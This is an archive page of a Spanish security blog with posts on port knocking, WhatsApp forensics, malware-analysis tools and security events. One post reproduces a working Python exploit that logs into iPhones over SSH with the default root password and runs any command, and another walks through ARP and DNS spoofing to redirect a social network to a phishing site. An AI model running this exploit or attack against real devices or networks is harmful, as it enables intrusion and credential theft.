31 may 2013

Seguridad mediante ocultación de puertos con Port knocking

Port knocking

Buenas tardes, hoy vengo a hablaros de la técnica conocida como "Port knocking" que según la Wikipedia:

El golpeo de puertos (del inglés port knocking) es un mecanismo para abrir puertos externamente en un firewall mediante una secuencia preestablecida de intentos de conexión a puertos que se encuentran cerrados. Una vez que el firewall recibe una secuencia de conexión correcta, sus reglas son modificadas para permitir al host que realizó los intentos conectarse a un puerto específico.

Cómo vemos es una técnica de las conocidas como "seguridad mediante ocultación" que como su palabra bien dice, se trata de ocultar ciertos elementos a usuarios no legítimos para que estos "no puedan verlos". Es lo mismo que cuándo  en redes wifi se oculta el ESSID para que nuestros vecinos "no puedan ver nuestra red". Eso en teoría, en la práctica las cosas son diferentes, ya que hay formas más que conocidas para ver redes ocultas, en el caso de las redes wifi y hay formas de saber cuáles son los puertos que hay que llamar para "activar" ese servicio oculto, aunque eso no lo veremos en este artículo.

Aquí veremos solamente, como configurar port knocking para abrir un puerto en concreto de forma que nos permita acceder al mismo momentaneamente hasta que volvamos a cerrarlo. Al contrario de como se puede leer en el artículo de la Wikipedia "sus reglas son modificadas para permitir al host que realizó los intentos conectarse a un puerto específico"; nosotros no tendremos en cuenta el host que realiza la llamada si no que simplemente abriremos el puerto para todos y lo cerraremos también para todos.

Concretamente veremos como mediante la llamada a una serie de puertos se abrirá el acceso al servicio SSH para que podamos conectar al host remoto, y una vez terminado veremos como cerrar de nuevo ese puerto. La gestión de apertura y "cerrado" de puertos será llevada a cabo por "iptables" el cortafuegos por defecto en gran cantidad de distribuciones Linux, la mayoría. Por lo que lo primero de todo es bloquear el acceso SSH al servidor con iptables, ya que si no este artículo no tendría sentido.

Para bloquear el puerto, en el servidor como superusuario hacemos lo siguiente:

#iptables -A INPUT -p tcp –dport 22 -j DROP

Esto lo que hace es indicar a iptables que añada (A) una nueva regla a la cadena de entrada (INPUT) para el protocolo tcp (-p tcp), en la que descarte (-j DROP) todos los paquetes recibidos al puerto de destino 22 (–dport 22), que es el puerto SSH por defecto.

Aprovecho para mencionar que no entraremos en más detalles que los necesarios con lo relativo a iptables, hay mucha y muy buena documentación por toda la red.

Podemos continuar.

En el servidor también tenemos que instalar y configurar el servicio que se encargará de escuchar los "golpes en los puertos" y procederá a ejecutar la sentencia que le hayamos indicado.

El servicio se llama "knockd" y está en casi todos los repositorios de la gran mayoría de distribuciones, sino, puedes descargarlo desde su página y compilarlo por ti mismo. Incluye tanto el servidor como el cliente así que lo instalaríamos en ambos equipos si el cliente también es Linux. Si tu equipo no es Linux puedes buscar por la red clientes para "Port knocking" que los hay para todas las plataformas.

Una vez instalado el servicio vamos a configurarlo para ello editamos como superusuario el fichero /etc/knockd.conf, que por defecto ya trae unas sentencias para abrir y cerrar el puerto SSH aunque vamos a cambiarlas:

Lo dejaremos como se muestra a continuación:

[openSSH]sequence       = 5000,7000,6000seq_timeout  = 5command      = /sbin/iptables -D INPUT -p tcp –dport 22 -j DROPtcpflags           = syn[closeSSH]sequence       = 6000,8000,7000seq_timeout  = 5command      = /sbin/iptables -A INPUT -p tcp –dport 22 -j DROPtcpflags           = syn

La primera sentencia "openSSH" espera la secuencia de llamada a los puertos 5000, 7000 y 6000, cuándo eso puertos sean "tocados" ejecutará el comando /sbin/iptables -D INPUT -p tcp –dport 22 -j DROP, que elimina la sentencia creada en iptables encargada de bloquear el puerto SSH, permitiéndonos así poder conectar. Mientras que la sentencia "closeSSH" hace lo contrario, la vuelve a añadir para que los paquetes que lleguen al puerto SSH sean descartados.

Una vez hecho esto tenemos que habilitar el demonio "knockd" para que funcione como servicio, si no no podremos arrancarlo. Para ello modificamos el fichero /etc/default/knockd y cambiamos, también como superusuario el mandato:

START_KNOCKD=0

Poniéndole un 1 para marcarlo como activo:

START_KNOCKD=1

Una vez hecho esto ya podemos arrancar el servicio mediante /etc/init.d/knockd start o service knockd start si estás en una distribución basada en Debian, o con la propia de tu distribución.

El servidor está listo para escuchar los "golpeos" de puertos, ahora desde el equipo cliente ejecutamos (la dirección del servidor para este artículo es 192.168.1.29, debes sustituirla por el tuyo):

$knock -v 192.168.1.29 5000:tcp 7000:tcp 6000:tcp

La marca "-v" le indica que lo haga en modo "verbose" (que muestre lo que va haciendo), seguido de la dirección IP del servidor (192.168.1.29), seguido de los puertos a "tocar" en cuestión en el orden indicado, poniendo el protocolo utilizado para realizar el "toque" separado por dos puntos ":"

Si lo hemos hecho bien seremos capaces de conectar al servidor a partir de este momento por SSH.

Para volver a cerrar el puerto una vez terminemos de usar la conexión SSH haremos lo mismo pero llamando a los puertos indicados para ese propósito:

$knock -v 192.168.1.29 6000:tcp 8000:tcp 7000:tcp

A partir de este momento las conexiones al servidor SSH serán filtradas hasta que volvamos a permitirlas.

Como vemos, esta es una buena forma de tener un puerto abierto pero "oculto" a llamadas de usuarios ilegítimos con lo que ganamos un poco de "seguridad" en nuestros servicios. Pero como dije al principio no es infalible y por tanto no significa que nuestro servicio se vuelva impenetrable.

Para terminar vamos a ver como esta técnica sirve para muchas más cosas que para abrir o cerrar puertos. La podemos usar para todo lo que se nos ocurra, por ejemplo podríamos detener o arrancar el servicio SSH en vez de abrir o cerrar sus puertos, podemos realizar una actualización del sistema de forma remota sin ni siquiera tener que acceder al sistema, podemos añadir o eliminar un usuario, podemos mover ficheros de lugar, podemos eliminar ciertos ficheros, cualquier cosa, siempre con cuidado y teniendo en mente lo dicho de que esta no es una técnica infalible.

Vamos a ver como hacemos para crear un fichero (vacío en este caso) en el escritorio de cierto usuario. Para ello añadimos una nueva regla en el fichero /etc/knockd.conf:

[createFile]sequence         = 9000,8000,9500seq_timeout    = 5command        = touch /home/tecnogame/Escritorio/FicheroCreadotcpflags             = syn

Tras reiniciar el servicio "knockd", cuando llamemos a los puertos indicados se creará en el Escritorio del usuario "tecnogame" el fichero vacío con nombre "FicheroCreado":

$knock -v 192.168.1.29 9000:tcp 8000:tcp 9500:tcp

Cabe mencionar que el fichero se creará con permisos de superusuario ya que es el usuario encargado de ejecutar el servicio knockd. Ese es uno de los motivos por los que hay que tener mucho cuidado con el uso de esta técnica. ya que si ponemos una sentencia para eliminar un usuario y alguien descubre cuáles son los puertos a los que hay que llamar, pues ya sabemos lo que pasará. Por tanto mejor usarlo para cosas "triviales" y que no impliquen mucho riesgo en nuestros servidores.

Eso ha sido todo por hoy, cualquier duda o comentario puedes dejarlo abajo.

Puedes seguir todo el proceso en video si lo prefieres:

[youtube UhKpx5qPtz0 nolink]

30 may 2013

Herramientas forense para ser un buen CSI. Parte XXIII: Forense en WhatsApp II de II

Buenas a todos, hoy vamos a continuar con la cadena de herramientas forense para ser un buen CSI, finalizando la mini-cadena sobre forense en Whatsapp.

Como recordatorio, en la pasada entrada de la cadena recuperamos las bases de datos de whatsapp de un terminal Android y las desciframos. Hoy haremos uso de la herramienta wForensic para leer las bbdd descifradas y presentarlas de una manera amigable para realizar una investigación.

WhatsApp Forensic (wForensic), es una aplicación desarrollada en Python (Django). Lenguaje por el que sabéis siento cierta predilección :P.

Podéis descargarla gratuitamente desde aquí: https://github.com/sch3m4/wforensic

wForensic incorpora una utilidad para descifrar la bbdd de Whatsapp, sin embargo, nosotros ya la desciframos en el último artículo a través de openssl, por lo que no nos hará falta.

Una vez descifrada, copiaremos dentro del directorio databases de wforensics, el fichero wa.db (contactos) y el fichero msgstore.db (conversaciones).

A continuación, ejecutaremos la aplicación a través del siguiente script situado en la carpeta raiz de la herramienta:

./run.sh

Una vez ejecutado, arrancará un servidor web para poder ver el contenido de la base de datos de los mensajes y los contactos de WhatsApp:

Al inicio de la aplicación se nos muestra un menú con una serie de estadisticas acerca de la actividad de los mensajes y una serie de links para acceder al resto de menús:

Como véis, de una manera sencilla y muy cómoda podemos navegar por el historial de conversaciones que se han mantenido con la aplicación, buscar mensajes de un número de móvil concreto y listar fotografías enviadas y recibidas a nuestros contactos.

Otra utilidad para guardar en vuestro kit de herramientas forenses :)

Saludos!

29 may 2013

0xWord: Hardening de servidores GNU/Linux

Hoy no os hablamos de seguridad y pruebas de concepto directamente. Hoy os traigo un libro muy interesante sobre como fortificar servidores GNU/Linux en un entorno empresarial. La idea del libro es explicar al lector desde las capas más bajas del modelo defensa en profundidad como fortificar sus posibles escenarios. El enfoque del libro es totalmente práctico, enseñando a configurar herramientas de seguridad, servicios seguros y en algunas ocasiones mostrando posibles ataques que pueden recibir nuestros servidores. El motor del libro en esta ocasión, es el sistema operativo GNU/Linux, el cual se encuentra presente en una gran cantidad de empresas.

Aquí os dejamos la portada del libro, decir simplemente que está escrito por Carlos Álvarez Martín y por mí (ya me he hecho a esto de escribir...), con el que tuve el placer de trabajar en Informática 64, y que personalmente es un tipo muy grande! Una lástima que nos abandonara para bajarse por tierras sevillanas. Carlos es consultor de sistemas, el cual tiene una gran facilidad en aprender tecnologías nuevas y configuraciones de seguridad. Es una de las personas con más nivel sobre sistemas operativos GNU/Linux con el que he tenido el placer de trabajar, con el que se puede aprender muchas cosas, y por el que os recomiendo este libro.

Carlos ha mimado en todo momento los escenarios presentados en el libro, enfocados en entornos empresariales con los que hemos tenido que lidiar. Tanto Carlos y yo creemos que si tienes servidores Linux en la empresa y quieres estar seguro, este libro te ayudará a entender todas las vías de ataque a las que los servers se enfrentan en su trabajo diario. Además, si quieres conocer las posibilidad de usabilidad que ofrecen los servidores de este tipo, este libro también te ayudará.

0xWord se estrena con este y otros tres libros más, ¿Cuál os gusta más? Ahora desde un plano más personal, contaros que ha sido un placer trabajar con Carlos en la elaboración e implementación (escritura) de este libro, espero que no sea la última vez.

Os dejo un resumen de las distintas temáticas que encontraréis en el libro: conceptos y defensa en profundidad para la fortificación de servidores, protección física, protección perimetral, protección de la red interna, protección de la capa de aplicación, fortificación de LAMP, fortificación y usos de SSH, logging.

Mantener una infraestructura informática segura y al margen de atacantes siempre es una tarea complicada. Son muchos los aspectos a tener en cuenta. A los diferentes dispositivos en un entorno en red hay que añadirle la heterogeneidad de los sistemas operativos que la componen y los servicios prestados.Este libro trata sobre la securización de entornos Linux siguiendo el modelo de Defensa en Profundidad. Es decir, diferenciando la infraestructura en diferentes capas que deberán ser configuradas de forma adecuada, teniendo como principal objetivo la seguridad global que proporcionarán. Durante el trascurso de esta lectura se ofrecerán bases teóricas, ejemplos de configuración y funcionamiento, además de buenas prácticas para tratar de mantener un entorno lo más seguro posible. Sin lugar a dudas, los entornos basados en Linux ofrecen una gran flexibilidad y opciones, por lo que se ha optado por trabajar con las tecnologías más comunes y utilizadas.

En definitiva, este libro se recomienda a todos aquellos que deseen reforzar conceptos, así como para los que necesiten una base desde la que partir a la hora de securizar un entorno Linux.

Como siempre comentaros que esperamos que la gente que ha adquirido el libro nos comente sus impresiones, y si alguien se atreve con una review, es totalmente bienvenida (ya sea una crítica positiva como negativa), y recordad... "Access Denied!".

28 may 2013

Búsqueda en fuentes abiertas con Python (Parte I)

Buenas a todos, hoy daremos inicio a la cadena "Búsqueda en fuentes abiertas con Python", en la que iré poco a poco mostrando ejemplos y scripts de como poder realizar búsquedas en fuentes abiertas, como ya hice en su día con la cadena La Biblia del Footprinting hace más de 2 años (como pasa el tiempo...), pero enfocándome en el desarrollo de aplicaciones con el lenguaje python, y que estoy seguro que nos será de gran utilidad para cierto desarrollo que se está llevando a cabo :)

En el primer post de la cadena vamos a ver como generar una nube de etiquetas con los términos más nombrados en un hashtag de Twitter, esto nos será de gran utilidad a la hora de analizar "temas calientes". Aprovechando que recientemente hemos realizado las Jornadas X1RedMasSegura, vamos a ver cuales han sido los temas más calientes en el hashtag "#X1RedMasSegura" :) Para ello me voy a basar en el script que publicó hace poco mi compañero de la ANTPJI, Simon Roses, en el curso que dimos en Reus (Tarragona) hace un par de semanas, y que he adaptado para este post. Utilizaré para ello la distribución BugTraq de nuestros paisanos y amigos del Bugtraq-Team.

Intentaré desgranaros paso a paso el proceso de instalación y ejecución, para facilitaros la tarea lo más posible :)

Para ello, primero vamos a instalar pip, una herramienta que nos permitirá instalar dependencias Python desde el repositorio de librerías PyPI y a continuación instalaremos una serie de dependencias que nos permitirán pintar la nube de etiquetas:

sudo apt-get install python-pip
 sudo pip install requests
Descargaremos PyTagCloud desde Github para instalarlo a continuación: https://github.com/atizo/pytagcloud

Lo instalaremos a través del siguiente comando:

sudo python setup.py install

sudo apt-get install python-pygame

 sudo pip install requests-transition

Una vez que tengáis las dependencias instaladas, ya estáis en disposición de ejecutar el script python. Os dejamos el código fuente para descarga AQUÍ. Como veis son muy pocas líneas de código.

Ahora simplemente lanzaremos nuestra aplicación NubeX1RedMasSegura.py:

python NubeX1RedMasSegura.py

Y si todo ha ido bien, se nos habrá creado en la carpeta donde tuviésemos el script, una bonita imagen con la nube de etiquetas del hashtag X1RedMasSegura:  

Como véis este script nos puede ser de bastante utilidad en investigaciones de distintos ámbitos y nos permite ver de un vistazo rápido cómo @_angelucho_ o @1gbdeinfo son dos de los usuarios más influyentes en el hashtag, y cómo términos como presentaciones, videos, jornadas y fotografias son los más nombrados recientemente (esto es debido a que el día que redacté el post, publicamos toda la información de las Jornadas en la web www.x1redmassegura.com y lo publicitamos en Twitter :)

¿Mejoras? Podríamos añadir por ejemplo un módulo que identificase términos buenos y malos a través de un diccionario de palabras, y los colorease en verde y rojo respectivamente. De esa manera resaltaríamos términos como "excelente" o "buenas", que salen en el hashtag y podríamos rápidamente identificar la crítica del hashtag y de lo que referencie (un evento, un grupo, etc.)

Eso es todo por hoy!

Saludos! #NosVemosEnLaRed

27 may 2013

Malware USB tools (Parte II de II)

Otra de las suite que tenemos en internet que nos servirá para el análisis de malware es la suite de Nirsoft.

Process Activity View: Este software nos permite ver un resumen de que procesos tiene abiertos que archivos. Igual que tenemos con Process Explorer.

RegFrom App: Esta es otra de als herramientas que nos servirá para el análisis de malware. Esta herramienat nos permitirá ver las entradas de registro relacionadas con un proceso específico.

Estas son algunas de las herramientas de la suite Nirsoft que nos servirán para el análisis de malware.

Otra de las herramientas que tenemos que llevarnos en el USB son:

Gmer: Esta herramienta nos permite ver si existen rootkits en el sistema, Gmer escaneará cosas como:

  • hidden processes
  • hidden threads
  • hidden modules
  • hidden services
  • hidden files
  • hidden disk sectors (MBR)
  • hidden Alternate Data Streams
  • hidden registry keys
  • drivers hooking SSDT
  • drivers hooking IDT
  • drivers hooking IRP calls
  • inline hooks

Como veis, imprescindible, para llevarlo encima.

Network Minner: Esta herramienta es una alternativa a la gran herramienta conocida como Wireshark. La ventaja de network Minner es su uso portable.

HijackThis: es una pequeña herramienta gratuita que escanea rápidamente el sistema Windows para encontrar las modificaciones que puedan haber sido realizadas por algún Spyware, Browser Hijacker, Malware u otro programa malicioso.

Estas son algunas de las herramientas que podemos llevar en el USB para detectar si una máquina contiene malware o no.

26 may 2013

Informe Flu - 125

A lo largo de la semana hemos publicado los siguientes artículos, ¡disfrutadlos!:

Lunes 20 de Mayo

Martes 21 de MayoMiércoles 22 de MayoJueves 23 de Mayo
Viernes 24 de Mayo
Sábado 25 de Mayo

25 may 2013

Publicadas las presentaciones, fotografías y videos de las Jornadas #X1RedMasSegura

Buenas a todos, pasada una semana de las Jornadas #X1RedMasSegura, y con un poco de tiempo para descansar y recapitular, hemos aprovechado para publicar las presentaciones, fotografías y vídeos utilizados durante las mismas.

Las presentaciones y las fotografías las tenéis accesibles desde el sitio web oficial www.x1redmassegura.com. Os las dejamos también accesibles a continuación:

 

Por otro lado, los vídeos, temporalmente, los podréis ver desde los siguientes enlaces habilitados por la Unir, a los que aprovechamos para dar las gracias por todo desde aquí :) Dentro de unos días cuando finalicemos la maquetación de los videos los publicaremos en nuestro Canal Oficial de Youtube.

Viernes 17 de Mayo.1ª parte del Congreso (hasta el descanso):http://unir.adobeconnect.com/p5m38p8tdk3/2ª parte del comgreso (después del descanso):http://unir.adobeconnect.com/p4jt26uxswn/Sábado 18 de Mayo.1ª sesión (Presentación - Juan Carlos Rodríguez)http://unir.adobeconnect.com/p7x1attleek/2ª sesión (Israel Córdoba - Chema Alonso - Lorenzo Martinez):http://unir.adobeconnect.com/p913ab82647/3ª sesión (Matías Katz - Blanca Tulleuda - Carlos Represa):http://unir.adobeconnect.com/p9s1489xtr8/4ª sesión (Angel Pablo Avilés):http://unir.adobeconnect.com/p8oonj80pdk/

¡Disfrutadlo! #NosVemosEnLaRed

24 may 2013

Pantalla Pública XXV

Buenas a todos, hoy volvemos con nuestra cadena Pantalla Pública, con varias pantallas que nos envía nuestro amigo @ElZ00Rro desde Colombia. Os dejamos con su mensaje:
Hola Flu, nuevamente los señores de publicidad en el aeropuerto el Dorado en Bogotá - Colombia, dando una muestra grande de IN-Seguridad. Ojala no se les pegue estas costumbres a los señores que controlan el trafico aéreo. Ploppppp!!!Saludos!
 

23 may 2013

Exploit Title: [GUI]Apple iPhone iOS Default SSH Remote Command Execution exploit

Al parecer en los dispositivos iOS se puede hacer ejecución de código remoto mediante ssh, D35m0nd142 hace un exploit demostrando esta acción.

Comparto el enlace en 1137day y el codigo.http://1337day.com/exploits/14805

#!/usr/bin/python# When you've launched the command look the terminal# This software work without Metasploit # Exploit Title: [GUI]Apple iPhone iOS Default SSH Remote Command Execution exploit# Exploit Author: D35m0nd142# Vendor Homepage: http://www.apple.com# Tested on: Ubuntu 12.04 - Backtrack 5 R3 - Windows 7 Home Premiumimport paramiko import Tkinter from tkMessageBox import *import sysimport osprint "******************************************************************"print "*Apple iPhone iOS Default SSH Remote Command Execution exploit   *"print "*                 Created by D35m0nd142                          *"print "******************************************************************\n" root=Tkinter.Tk()root.geometry("%dx%d" % (490,220))def exploit(): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ip_iphone=ip.get() ssh.connect(ip_iphone,username='root',password='alpine') cmd=command.get() stdin, stdout, stderr = ssh.exec_command(cmd) print stdout.readlines() ok=Tkinter.Label(text="Command executed",bg="blue",fg="yellow").pack()  ssh.close()root['bg']="black"root.title("Apple iOS Default SSH Remote Command Execution exploit")message=showwarning("Warning","D35m0nd142 isn't responsable for your use of this software")developer=Tkinter.Label(text="Developed by D35m0nd142").pack(side='bottom')ip_label=Tkinter.Label(text="iPhone IP: ").pack()ip=Tkinter.StringVar()ip_entry=Tkinter.Entry(textvariable=ip).pack()command_label=Tkinter.Label(text="Command to execute: ").pack()command=Tkinter.StringVar()command_entry=Tkinter.Entry(textvariable=command).pack()launch_exploit=Tkinter.Button(text="Exploit",command=exploit).pack()root.mainloop()

22 may 2013

Malware USB tools (Parte I de II)

Poneos en el escenario en el que recibís una llamada en la que os dicen.

“Hey tengo un virus en mi máquina”

Tu primera pregunta ¿Tienes antivirus?

“Claro, parecen que no sirven de nada eh”

Es entonces cuando te toca desplazarte hasta el incidente para saber que ha pasado.

Te podrás encontrar muchas cosas, así que es mejor ir preparado, es por eso que tendrás que llevarte una serie de tools totalmente imprescindibles.

Sysinternals Suite

Aunque no hace falta que les haga una presentación, la suite de Sysinternals es imprescindible en casi cualquier tarea de administracón, reparación, pero también en materia de malware.

Algunas de las herramientas a destacar:

Autoruns: Esta herramienta permite ver de manera muy clara que programas se inician con el sistema. Permite además realizar snapshots. Esto nos sirve porque, imaginad que estamos en una empresa y hay dos máquinas iguales. Con Autoruns podríamos hacer uns snapshot de la máquina limpia, otro snapshot de la máquina infectada y poder comparar los resultados.

Otra de las herramientas imprescindibles para esta disciplina:

Portmon: Esta herramienta nos permitirá ver de manera detallada la actividad en puertos serie y paralelo.

Process Explorer: Una de mis herramientas preferidas, este programa nos permite ver MUY detalladamente los procesos abiertos en el sistema.

Además nos permite ver que archivos tiene abiertos que procesos. Si los procesos están iniciados con soporte para DEP o ALSR. Y de manera gráfica procesos padre e hijos. Muy recomendable, la verdad.

Rootkit revealer: Creo que el nombre lo dice todo, herramienta que nos permitirá ver si existe algún rootkit en el sistema.

TcpView: Esta herramienta combinada con process explorer nos dará un vistazo detallado del sistema. Nos permitirá ver que procesos tienen ocupado un recurso de red.

En la siguiente parte seguiremos viendo más herramientas imprescindibles para temas de malware! :D

21 may 2013

DNS Spoofing como los árbitros españoles

Que los árbitros son malos en España es una verdad sabida por todos, se puede decir que en muchas ocasiones, sea porque no están preparados o porque quieren engañar a los aficionados realizan una especie de spoofing. Hoy queremos enseñar el DNS Spoofing como método de engaño a una víctima con el objetivo de lograr dirigirle a una dirección IP que nos interese. ¿Por qué puede ser interesante? Fácil:

  • Conseguir lanzar un exploit contra la víctima.
  • Mostrar un sitio web falso y recoger sus credenciales.
  • Obtener la cookie de sesión de la víctima.
  • O... todo junto... es decir, te mostramos un sitio web falso, te recogemos la contraseña, y te lanzamos un exploit, al cual por supuesto tu navegador es vulnerable y troyanizamos tu máquina, y sin que te des cuenta te mandamos al sitio web original, para que tu no sepas que ocurre algo malo... ¿Qué te parece? Eso si es puro... arte!

Escenario

  • Una víctima con Microsoft Windows XP SP3 y utiliza un servidor DNS externo a la red local, por ejemplo el DNS de Google 8.8.8.8.
  • Un atacante con Kali Linux.
  • Atacante y víctima se encuentran en la misma LAN. El atacante interceptará las peticiones y respuestas DNS proporcionando la dirección IP que él quiera mediante la construcción de un fichero hosts especial.

En primer lugar el atacante realizará MITM a la víctima mediante ARP Spoofing. Una vez el tráfico circula por el atacante, se construye un fichero hosts que se pasará a dnsspoof. En este fichero se especificará las direcciones IP acordes a los nombres de dominio que se quieren spoofear. El siguiente fragmento simula el fichero de texto editado:

192.168.0.57 *.tuenti.com192.168.0.57 tuenti.com

Una vez creado el fichero se debe ejecutar la herramienta dnsspoof con la siguiente sintaxis dnsspoof –i eth0 –f <fichero de hosts>.

De esta manera tan sencilla se puede realizar un phishing casi perfecto, teniendo en cuenta que el sitio web es una clonación del original. Por otro lado, la víctima puede detectar esto si al comprobar el estado de su caché descubre que la resolución de nombres de dominio hacia tuenti se han quedado en una dirección IP local, algo que extrañaría, y mucho, al usuario final.

Por último indicar que la técnica es realmente sencilla e interesante. Tener cuidado con las máquinas de vuestra LAN, ya que llevar a cabo este tipo de ataques es muy muy sencillo :D

20 may 2013

La verdadera e increíble historia de #X1RedMasSegura

La noche no había sido calurosa para las fechas en las que estábamos (verano de 2012), pero el verano ya tocaba a su fin. Abrí mi outlook como cada mañana y comencé a desechar mensajes de spam, ofertas variadas, invitaciones oscuras y otras tantas cosas que un pornstar recibe cada día (qué os voy a contar...). Entre ellos tenía un email de mi jefe (un abrazo Miguel), en el que me contaba que una persona de mi empresa, Blanca Tulleuda (muchos ya sabréis quién es), buscaba una persona volcada en el mundo de la seguridad que le resolviese algunas dudas sobre ciberbullying, grooming, etc. De entre las casi 13.000 personas que había en mi empresa, everis, ese correo me cayó a mí, lo cuál siempre estaré eternamente agradecido.

Tras compartir un café con Blanca la primera vez, supe que los astros se habían alineado para que nos conociésemos. Blanca es una madre 2.0, aunque casi debería ser 5.0, porque 5 son las criaturas que tiene y por las que lucha cada día contra los peligros de la red. Esta madre coraje es un ejemplo a seguir en el mundo cibernético, como ya ha demostrado largo y tendido a lo largo de las Jornadas X1RedMasSegura, pero ese es el final de esta historia, no adelantemos acontecimientos :)

Tras unas largas charlas con Blanca, pensé que sería interesante enseñarle el blog de Angelucho, ya que entre sus artículos se encontraban muchos de las ideas que Blanca buscaba. Así que aproveché también para ciberpresentarle a mi gran amigo Angelucho, aunque fui un poco tarde, porque Blanca con su desparpajo habitual, ya se había presentado varios días antes. Así comenzó la amistad de este trío tan dispar, una madre 2.0, un hacker de los güenos y el ángel de la guarda de una ciberabuela (ella se reconocerá).

Han sido muchas las conversiones que mantuvimos los tres mosqueteros, en las que más de una vez hemos amenzado, ¿y si organizamos un día un...,?

Hace un mes, UN SOLO MES, y lo pongo en mayúsculas, ahora veréis por qué, Angelucho envió un email a varios amigos, aún no se si por un brote de locura, porque se encontraba de vacaciones y se aburría, o qué pasó por su cabeza, pero nos pidió montar un acto pequeñín, con unas patatuelas y unas coca colas para celebrar el aniversario de su blog, que coincidía con el día de Internet. Aquí es donde se notó qué Angelucho es una gran persona y tiene grandes amigos, porque una gran parte contestó con un SÍ, ENCANTADO!. Fueron tantas las contestaciones que la cosa se hizo MUY GRANDE, y la celebración de su aniversario se convirtió en la Organización de las Jornadas X1RedMasSegura. Aún no se bien porque, solo recuerdo una llamada de Ángel (la primera de las dos mil quinientas setenta y seis que hemos mantenido hasta hoy) en la que se oía una frase que decía así "a que no hay huevos a...". Los que me conocéis sabéis que aunque sea de Móstoles, tuve que tener antecedentes del mismo Bilbado, y al día siguiente me encontraba programando la web www.x1redmassegura.com, y junto con Ángel, con la oreja pegada al teléfono buscando auditorio para celebrar las Jornadas, locales para los talleres y algún que otro patrocinador.

¡Blanca!, ¿tú crees que everis nos dejaría un auditorio para celebrar las Jornadas X1RedMasSegura?. Blanca como siempre, que no sabe decir que no, me dijo "lo voy a mover". El desenlace ya lo conocéis :) Y no solo se ha volcado everis con nosotros, han sido muchos los patrocinadores que se han unido en la causa, y a los cuales les estaremos eternamente agradecidos. Infinitas gracias a everis, Eset, Unir, IPA Madrid, Ledus Desing, SecurChannel, Arbor, Aiuken, Inteco, Kaspersky y elmundoentusmanos.es, ¡sois muy grandes! y por supuesto nuestros ponentes y grandes amigos, Josep Albors, Juan Garrido, Chema Alonso, Román, Mario Farnós, Óscar de la Cruz, Ángel Bahamontes, Pilar Marcos,  Juan Luis G. Rambla, Juan Carlos Rodriguez, Israel Córdoba, Matias Katz, Carlos Represa y por supuesto, mi "brother" Pablo González, que no sólo ha colaborado como ponente si no que nos ha ayudado y mucho en las Jornadas, gracias de todo corazón :).

Así fue como arrancaron las Jornadas X1RedMasSegura, en un solo mes se originaron, se buscaron patrocinadores y locales, se unieron muchos colaboradores, se publicitó y se celebraron. Un mes de locura, de viajes, de reuniones, de pedir favores y colaboraciones, de buscar ponentes para los talleres y las jornadas, de diseñar publicidad (gracias Leda!), de repartirla por la red, y de una gran factura de teléfono... :P Pero no podíamos parar, queríamos hacer algo por los padres, abuelos, jóvenes, profesores y tantas otras personas que necesitaban esas Jornadas. Las Jornadas X1RedMasSegura eran una NECESIDAD. Como dice Angelucho, lo que queremos es que nos copien, y que transmitan a la sociedad la semilla que nosotros hemos plantado desde este maravilloso tiesto que entre tantos nos habéis ayudado a construir, INFINITAS GRACIAS.

El resto de cosas que han ocurrido entre el día 13 de Mayo (comienzo de los talleres) y el 18 de Mayo (final de las jornadas), ya lo sabéis. Y si os lo habéis perdido, en los próximos días publicaremos todas las presentaciones y videos de las jornadas en la web www.x1redmassegura.com. Así que estad muy atentos! Por ahora os dejo con el Keynote de las Jornadas en el que ha colaborado David Insonusvita poniendo la voz :)

[youtube poEBsc563NI nolink]

Ya solo me queda despedirme por hoy con una frase que le gusta mucho decir a Angelucho, "No hay mayor satisfacción que la del deber cumplido"

Nos vemos, nos vemos... nos vemos... en la red ;)

19 may 2013

Informe Flu - 124

A lo largo de la semana hemos publicado los siguientes artículos, ¡disfrutadlos!:

Lunes 13 de Mayo

Martes 14 de MayoMiércoles 15 de MayoJueves 16 de Mayo
Viernes 17 de Mayo

17 may 2013

Security Tube Metasploit Framework Expert (ya lo contaba Metasploit para pentesters)

Hace unos días hablé con mi buen amigo, aunque sea del Barcelona ^^, Marc Rivero, al que muchos conoceréis más por Seifreed. Me comentaba que pensaba sacarse la certificación de Metasploit, y le pregunté: ¿Cuál?! ya sabéis que a mi eso del msfconsole me mola, y me intereso por todo lo que pasa con él. Su respuesta fue Security Tube tiene una certificación sobre Metasploit, a lo que yo inmediatamente, y si... mientras hablaba con él, fui a ojear. Me interesaba dicha certificación, además, el precio es totalmente asequible por un particular 100 dólares. Hasta aquí todo ideal, y pensé me gustaría coger ideas por si algún día tengo que escribir algo sobre Metasploit, como por ejemplo Metasploit para pentesters ^^.

Bien, viendo el temario de la certificación también pensé que este libro tenía todo lo necesario para dicha certificación, por lo que reflexionando para mi dentro... ¡coño Pablo puedes hacerla fácilmente! jajaja, es una cosa que pensaré hacer, es asequible y bueno interesante siempre tener certificaciones en seguridad informática. Además, ojee otras certificaciones como la de Wireless, la cual es totalmente recomendable también.

Os dejo los contenidos que aprenderéis con la certificación, y ya os digo me sorprendió (gratamente) ver todo lo que piden en el libro:

  • Metasploit Basics and Framework Organization
  • Server and Client Side Exploitation
  • Meterpreter – Extensions and Scripting
  • Database Integration and Automated Exploitation
  • Post Exploitation Kung-Fu – Exploring the system, Privilege escalation, Log deletion and AV / Firewall bypass
  • Token stealing and impersonation, Backdoors and Rootkits, Pivoting and Port forwarding, Railgun and Custom Scripting, Backdoor an Executable
  • Writing Metasploit Modules – Auxiliary and Exploit
  • Exploit research with Metasploit- Buffer Overlows, SEH etc.
  • Social Engineering Toolkit (SET) and Armitage
  • Scenario Based Hacking using Metasploit

16 may 2013

Sigue las Jornadas X1RedMasSegura en directo a través de Internet

Buenas a todos, hoy jueves 16 de Mayo es el tercer y último taller de las Jornadas X1RedMasSegura 2013. Está siendo una semana apasionante, y nos lo estamos pasando realmente bien con unos asistentes y unos colaboradores tan volcados en la causa. ¡Muchas gracias a todos! A continuación os dejamos con algunas fotos de familia que hemos ido realizando durante los talleres:

Queríamos también recordaros que mañana dan comienzo las Jornadas X1RedMasSegura, y para los que no podáis asistir presencialmente, podréis verlas gratuitamente y en directo a través de Internet, gracias a la Universidad Internacional de la Rioja, UNIR, que estará retransmitiendo en DIRECTO!

Para ver las Jornadas X1RedMasSegura no tenéis más que acceder al siguiente enlace:

https://unir.adobeconnect.com/_a803263337/jornadasredmassegura/

NOTA: Os informamos que se ha enviado confirmación de registro a las Jornadas X1RedMasSegura a TODOS los asistentes. En caso de que os hayáis registrado en las Jornadas y no hayáis recibido contestación revisad vuestra bandeja de SPAM del correo electrónico, o preguntad en info@x1redmassegura.com
